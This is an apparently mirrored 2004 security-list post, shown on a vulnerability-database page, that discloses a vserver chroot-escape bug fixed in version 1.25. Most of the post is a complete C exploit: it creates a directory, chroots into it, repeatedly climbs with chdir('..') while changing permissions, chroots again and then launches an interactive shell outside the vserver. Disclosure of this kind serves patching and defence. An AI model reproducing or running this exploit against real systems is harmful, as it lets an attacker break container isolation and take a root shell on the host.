Lucene search
K

vserver_chroot.txt

🗓️ 06 Feb 2004 00:00:00Reported by Markus MuellerType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 37 Views

Exploit bypasses vserver restrictions, fixed in version 1.25; tested on Linux v2.4.24.

Code
`Hi securityfocus,  
  
a small exploit from me which brakes out of a vserver, also if secured   
with "chmod 000 /vservers". It is a modification of the known   
"chroot-again" exploit. It belongs to chroots but also to the vserver   
project. Tested with linux 2.4.24 and vserver 1.24. The bug was posted   
to the developers, and in the today released version 1.25 it seems to be   
fixed.  
  
/* [email protected] modified the chroot-again exploit */  
/* to work on vservers with "chmod 000 /vservers" */  
  
/* Run this code in a vserver as root */  
/* Tested with 2.4.24 and vserver 1.24 */  
  
#include <sys/types.h>  
#include <sys/stat.h>  
  
main()  
{  
int i;  
  
if (chdir("/") != 0) {  
perror("cd /"); exit(1);  
}  
if (mkdir("baz", 0777) != 0) {  
perror("mkdir baz");  
}  
if (chroot("baz") != 0) {  
perror("chroot baz"); exit(1);  
}  
  
for (i=0; i<50; i++) {  
if (chdir("..") != 0) {  
perror("cd .."); /* exit(1); */  
}  
if (chmod("..", S_IXOTH) != 0) {  
perror("chmod"); /* exit(1); */  
}  
}  
if (chroot(".") != 0) {  
perror("chroot ."); exit(1);  
}  
printf("Exploit seems to work. =)\n");  
execl("/bin/sh", "sh", "-i", (char *)0);  
perror("exec sh");  
exit(0);  
}  
  
The developers have been noticed.  
  
Greetings,  
Markus Müller  
GeNUA mbH  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

06 Feb 2004 00:00Current
7.4High risk
Vulners AI Score7.4
37